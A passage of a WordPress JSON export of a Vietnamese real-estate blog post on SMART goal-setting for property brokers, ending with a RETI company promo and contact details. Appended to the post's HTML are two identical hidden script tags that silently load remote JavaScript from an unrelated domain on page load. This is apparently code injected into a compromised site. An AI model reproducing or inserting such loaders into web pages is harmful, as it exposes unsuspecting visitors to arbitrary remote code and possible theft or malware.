c\u1ea7n l\u00e0m, b\u1ea1n h\u00e3y b\u1eaft tay ngay v\u00e0o h\u00e0nh \u0111\u1ed9ng. Giai \u0111o\u1ea1n \u0111\u1ea7u ti\u00ean trong qu\u00e1 tr\u00ecnh h\u00e0nh \u0111\u1ed9ng v\u00ec m\u1ee5c ti\u00eau SMART th\u01b0\u1eddng l\u00e0 kh\u00f3 kh\u0103n nh\u1ea5t, v\u00ec v\u1eady b\u1ea1n n\u00ean b\u1eaft \u0111\u1ea7u th\u1ef1c hi\u1ec7n t\u1eebng b\u01b0\u1edbc nh\u1ecf. Ti\u00ean quy\u1ebft c\u1ee7a s\u1ef1 th\u00e0nh c\u00f4ng ch\u00ednh l\u00e0 t\u00ednh ki\u00ean tr\u00ec, nh\u1eabn n\u1ea1i v\u00e0 h\u00e3y g\u1eafn b\u00f3 l\u00e2u d\u00e0i \u0111\u1ec3 c\u00f3 c\u01a1 h\u1ed9i th\u1ea5y \u0111\u01b0\u1ee3c r\u1eb1ng m\u1ecdi n\u1ed7 l\u1ef1c c\u1ee7a b\u1ea1n \u0111\u1ec1u s\u1ebd \u0111\u01b0\u1ee3c \u0111\u1ec1n \u0111\u00e1p m\u1ed9t c\u00e1ch x\u1ee9ng \u0111\u00e1ng.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/NNWCP1r.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><figcaption>Th\u00e0nh c\u00f4ng b\u1eaft \u0111\u1ea7u t\u1eeb nh\u1eefng h\u00e0nh \u0111\u1ed9ng nh\u1ecf qua t\u1eebng ng\u00e0y<\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">C\u00f3 th\u1ec3 b\u1ea1n quan t\u00e2m <a href=\"https:\/\/agent.reti.vn\/kho-khan-cua-nghe-moi-gioi-bds\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/agent.reti.vn\/kho-khan-cua-nghe-moi-gioi-bds\/\" rel=\"noreferrer noopener\">Nh\u1eefng kh\u00f3 kh\u0103n c\u1ee7a ngh\u1ec1 m\u00f4i gi\u1edbi B\u0110S v\u00e0 c\u00e1ch gi\u1ea3i quy\u1ebft<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tr\u00ean \u0111\u00e2y l\u00e0 nh\u1eefng chia s\u1ebb v\u1ec1 quy tr\u00ecnh thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART cho m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n,\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/reti.vn\/\" rel=\"noreferrer noopener\">RETI<\/a>\u00a0hy v\u1ecdng r\u1eb1ng nh\u1eefng ki\u1ebfn th\u1ee9c n\u00e0y s\u1ebd g\u00f3p ph\u1ea7n gi\u00fap cho s\u1ef1 nghi\u1ec7p m\u00f4i gi\u1edbi c\u1ee7a b\u1ea1n kh\u1edfi s\u1eafc h\u01a1n trong n\u0103m m\u1edbi. Vi\u1ec7c s\u1eed d\u1ee5ng c\u00f4ng c\u1ee5 thi\u1ebft l\u1eadp m\u1ee5c ti\u00eau SMART s\u1ebd mang \u0111\u1ebfn hi\u1ec7u qu\u1ea3 cao trong c\u00f4ng vi\u1ec7c. \u0110\u1eebng qu\u00ean truy c\u1eadp trang <a href=\"https:\/\/reti.vn\/blog\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/reti.vn\/blog\/\" rel=\"noreferrer noopener\">RETI Blog<\/a>, c\u00f2n c\u00f3 r\u1ea5t nhi\u1ec1u b\u00e0i vi\u1ebft hay v\u1ec1\u00a0k\u1ef9 n\u0103ng m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n d\u00e0nh cho b\u1ea1n.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>M\u1ed9t n\u0103m n\u1eefa l\u1ea1i s\u1eafp kh\u00e9p l\u1ea1i, c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n ch\u1eafc h\u1eb3n \u0111ang \u1ea5p \u1ee7 cho m\u00ecnh\u00a0nh\u1eefng d\u1ef1 \u0111\u1ecbnh v\u00e0 k\u1ebf ho\u1ea1ch cho m\u1ed9t ch\u1eb7ng \u0111\u01b0\u1eddng m\u1edbi sau chu\u1ed7i ng\u00e0y b\u1ecb \u1ea3nh h\u01b0\u1edfng n\u1eb7ng n\u1ec1 b\u1edfi \u0111\u1ea1i d\u1ecbch Covid-19. Tuy nhi\u00ean, h\u1ea7u h\u1ebft m\u1ecdi ng\u01b0\u1eddi v\u1eabn m\u01a1 h\u1ed3 v\u1edbi ch\u00ednh ho\u1ea1ch [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":33054,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[],"class_list":["post-33038","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cam-nang-bat-dong-san"],"external_url":"","amp_enabled":true,"featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/1625988096-694411268-ngh-moi-gi-i-b-t-ng-s-n-la-gi-kho-kh-n-kinh-nghi-m-lam-sale-bds.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/33038","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=33038"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/33038\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/33054"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=33038"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=33038"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=33038"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}